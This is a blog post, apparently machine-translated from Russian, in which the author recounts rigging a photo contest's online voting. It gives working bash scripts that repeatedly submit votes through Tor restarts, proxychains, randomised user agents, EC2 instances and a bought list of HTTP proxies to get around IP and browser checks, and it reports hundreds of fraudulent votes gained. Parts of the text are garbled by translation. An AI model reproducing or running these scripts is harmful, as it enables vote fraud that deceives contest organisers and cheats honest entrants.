Theory and practice of cheating votes

Disclaimer: this text does not claim either objectivity, truthfulness, or correctness. All of the following has been done only “just for fun” and not for the sake of any prizes or promotions. The scripts and the logic of their work are deliberately at the level of bydlokoda, I understand and admit it. Comments are greatly appreciated.

Two for back, I stumbled upon the Canon: All Colors of the World contest. And I immediately noticed a simple voting system - I didn’t have to register or enter a captcha, but simply click on the “Vote for this job” button.
Actually, after downloading a couple of photos, I began to experiment.
1) You can vote once from one computer. After some time, you can vote from another browser.
2) When connecting via a proxy or VPN, or through 3g, you could vote again.

Well, we put Tor + Vidalia (still on the Windows computer). Running torus - you can vote. Restart - no. We kill cookies, change user agent - again you can. Good.
Open the source of the page, look for a place with a vote button:
')
<frm action="/work/vote" method="post">
<inut type="hidden" name="photo_id" value="1522" />
<inut type="submit" name="vote" value=" " />
</frm>

Absolutely simple. When you click on the button, it will query konkurs.photonews.ru/work/vote?photo_id=1522
You can execute it with at least wget:
wget -O /dev/null --referer="http://konkurs.photonews.ru/work/show/1522" ttp://konkurs.photonews.ru/work/vote?photo_id=1522

Now we have to solve the issue of automatically changing the IP-address. There is nothing to think about, emerge tor. But here's the catch - wget does not work with a socs5 proxy. Half-hour searches brought to the proxychains program

The result looked like this:

LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"

while true
do
sudo /etc/init.d/tor restart
USERA1='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1)'
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done

The counter ticks, voices are added. Apparently, it became noticeable not only to me, but also to the administrator of the competition.
Authorization on useragent was screwed up - it became noticeable by a sharp decrease in the rate of cheating - until the voice per hour.
I accepted it as a challenge, and went to www.useragentstring.com/pages/useragentstring.php from where in 10 minutes I typed a file consisting of 500kb different identifiers.

After modification, the script began to look like this (Beware, bydlokod and strange solutions to simple problems!):

RANGE=4000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
sudo /etc/init.d/tor restart
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done

This method allowed us to gain another 100 votes to 50 received earlier.
Due to the low speed of work (time to restart the torus), it was decided to launch 5 instances on amazon ec2, which gained 150 more votes in 58 hours of machine time, and this stalled. The felts are exhausted by the unique output nodes, the felts the administrator has banned the tor nodes, I don't know.

Good. On freeproxy.ru for 60 rubles a list for 1000 http-proxy was purchased. And the code (once again) has undergone changes:

RANGE=5000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
c1=1
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
c1=$(($c1+1))
echo $c1
proxy_c1=`head -n $c1 proxy |tail -n1`
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
wget -e http_proxy=$proxy_c1 -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done

The resulting plug-in with the deadness of some proxies was cured by adding a "&" to the end of the line with wget, and introducing a delay. Well, killing a heap of hanging processes in the net, and in half an hour. =)

1300 passes brought another 500 votes in a couple of minutes, after which I turned off the script and hid. In the morning, after several trial runs, it became clear that the hole was closed. I don’t know how. I already, frankly, tired.

PS: Voting in such contests is always a twofold thing. Either we defend ourselves against cheating, and we get a sluggish (or completely absent) vote, or we open the doors and get active boiling of shit voices. But alas, not always honest.
And, if lucky - the need to cancel the results or delete work because of the obvious cheat, visible even by ordinary users.
PPS: All of the above is a figment of fantasy. References are random.
PPPS: If you tell me a more suitable blog, I will be glad.